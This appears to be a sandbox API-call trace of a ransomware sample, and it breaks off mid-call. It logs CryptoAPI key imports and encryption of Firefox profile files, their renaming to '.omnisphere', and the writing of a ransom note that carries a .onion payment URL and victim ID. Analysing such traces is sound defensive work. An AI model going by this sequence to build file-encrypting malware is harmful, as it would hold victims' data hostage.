[0159.065] GetTickCount () returned 0x1167854 [0159.065] GetTickCount () returned 0x1167854 [0159.065] GetTickCount () returned 0x1167854 [0159.065] GetTickCount () returned 0x1167854 [0159.065] GetTickCount () returned 0x1167854 [0159.065] GetTickCount () returned 0x1167854 [0159.065] GetTickCount () returned 0x1167854 [0159.065] GetTickCount () returned 0x1167854 [0159.065] GetTickCount () returned 0x1167854 [0159.065] GetTickCount () returned 0x1167854 [0159.065] GetTickCount () returned 0x1167854 [0159.065] GetTickCount () returned 0x1167854 [0159.065] GetTickCount () returned 0x1167854 [0159.065] GetTickCount () returned 0x1167854 [0159.065] GetTickCount () returned 0x1167854 [0159.066] GetTickCount () returned 0x1167854 [0159.066] GetTickCount () returned 0x1167854 [0159.066] GetTickCount () returned 0x1167854 [0159.066] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668f88) returned 1 [0159.066] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639868) returned 1 [0159.066] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0159.066] CryptDestroyKey (hKey=0x1639868) returned 1 [0159.066] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0159.066] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ab, lpName=0x0) returned 0x3c0 [0159.067] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ab) returned 0x1480000 [0159.067] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668708) returned 1 [0159.068] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639b28) returned 1 [0159.068] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0159.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0159.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.070] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.070] CryptDestroyKey (hKey=0x1639b28) returned 1 [0159.070] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0159.070] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x2ab, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0159.070] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0159.071] GetProcessHeap () returned 0x1600000 [0159.071] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ce) returned 0x1746a20 [0159.071] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\handlers.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\handlers.json.omnisphere")) returned 1 [0159.073] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json.omnisphere.id" [0159.073] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\handlers.json.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0159.074] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0159.075] CloseHandle (hObject=0x388) returned 1 [0159.075] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0159.075] CloseHandle (hObject=0x3c0) returned 1 [0159.076] SetEndOfFile (hFile=0x288) returned 1 [0159.076] FlushFileBuffers (hFile=0x288) returned 1 [0159.127] CloseHandle (hObject=0x288) returned 1 [0159.127] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0159.127] GetProcessHeap () returned 0x1600000 [0159.127] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1746cf8 [0159.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0159.127] GetProcessHeap () returned 0x1600000 [0159.127] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733fe0 [0159.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733fe0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0159.127] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0159.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0159.127] GetProcessHeap () returned 0x1600000 [0159.127] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726a38 [0159.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726a38, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0159.127] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0159.127] GetProcessHeap () returned 0x1600000 [0159.127] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1730548 [0159.127] PathCombineW (in: pszDest=0x1730548, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0159.127] GetProcessHeap () returned 0x1600000 [0159.127] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x17385a8 [0159.128] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0159.128] WriteFile (in: hFile=0x288, lpBuffer=0x17385a8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x17385a8*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0159.128] CloseHandle (hObject=0x288) returned 1 [0159.128] GetProcessHeap () returned 0x1600000 [0159.128] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1746cf8 | out: hHeap=0x1600000) returned 1 [0159.128] GetProcessHeap () returned 0x1600000 [0159.128] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c6c8 [0159.128] PathCombineW (in: pszDest=0x162c6c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0159.128] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0159.128] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0159.129] CloseHandle (hObject=0x288) returned 1 [0159.129] GetProcessHeap () returned 0x1600000 [0159.129] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c6c8 | out: hHeap=0x1600000) returned 1 [0159.129] GetProcessHeap () returned 0x1600000 [0159.129] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16415f0 | out: hHeap=0x1600000) returned 1 [0159.129] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6922fa, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe6922fa, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0xcc, cFileName="key3.db", cAlternateFileName="")) returned 1 [0159.129] GetProcessHeap () returned 0x1600000 [0159.129] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb2) returned 0x172dc08 [0159.129] PathCombineW (in: pszDest=0x172dc08, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="key3.db" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db" [0159.129] StrStrW (lpFirst=".omnisphere", lpSrch=".db") returned 0x0 [0159.129] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\key3.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0159.130] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=16384) returned 1 [0159.130] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x3adc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0159.130] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0159.131] GetTickCount () returned 0x1167893 [0159.131] GetTickCount () returned 0x1167893 [0159.131] GetTickCount () returned 0x1167893 [0159.131] GetTickCount () returned 0x1167893 [0159.131] GetTickCount () returned 0x1167893 [0159.131] GetTickCount () returned 0x1167893 [0159.131] GetTickCount () returned 0x1167893 [0159.131] GetTickCount () returned 0x1167893 [0159.131] GetTickCount () returned 0x1167893 [0159.131] GetTickCount () returned 0x1167893 [0159.131] GetTickCount () returned 0x1167893 [0159.131] GetTickCount () returned 0x1167893 [0159.131] GetTickCount () returned 0x1167893 [0159.131] GetTickCount () returned 0x1167893 [0159.132] GetTickCount () returned 0x1167893 [0159.132] GetTickCount () returned 0x1167893 [0159.132] GetTickCount () returned 0x1167893 [0159.132] GetTickCount () returned 0x1167893 [0159.132] GetTickCount () returned 0x1167893 [0159.132] GetTickCount () returned 0x1167893 [0159.132] GetTickCount () returned 0x1167893 [0159.132] GetTickCount () returned 0x1167893 [0159.132] GetTickCount () returned 0x1167893 [0159.132] GetTickCount () returned 0x1167893 [0159.132] GetTickCount () returned 0x1167893 [0159.132] GetTickCount () returned 0x1167893 [0159.132] GetTickCount () returned 0x1167893 [0159.132] GetTickCount () returned 0x1167893 [0159.132] GetTickCount () returned 0x1167893 [0159.132] GetTickCount () returned 0x1167893 [0159.132] GetTickCount () returned 0x1167893 [0159.132] GetTickCount () returned 0x1167893 [0159.132] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x16689b0) returned 1 [0159.133] CryptImportKey (in: hProv=0x16689b0, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639568) returned 1 [0159.133] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0159.133] CryptDestroyKey (hKey=0x1639568) returned 1 [0159.133] CryptReleaseContext (hProv=0x16689b0, dwFlags=0x0) returned 1 [0159.133] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4000, lpName=0x0) returned 0x3c0 [0159.133] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4000) 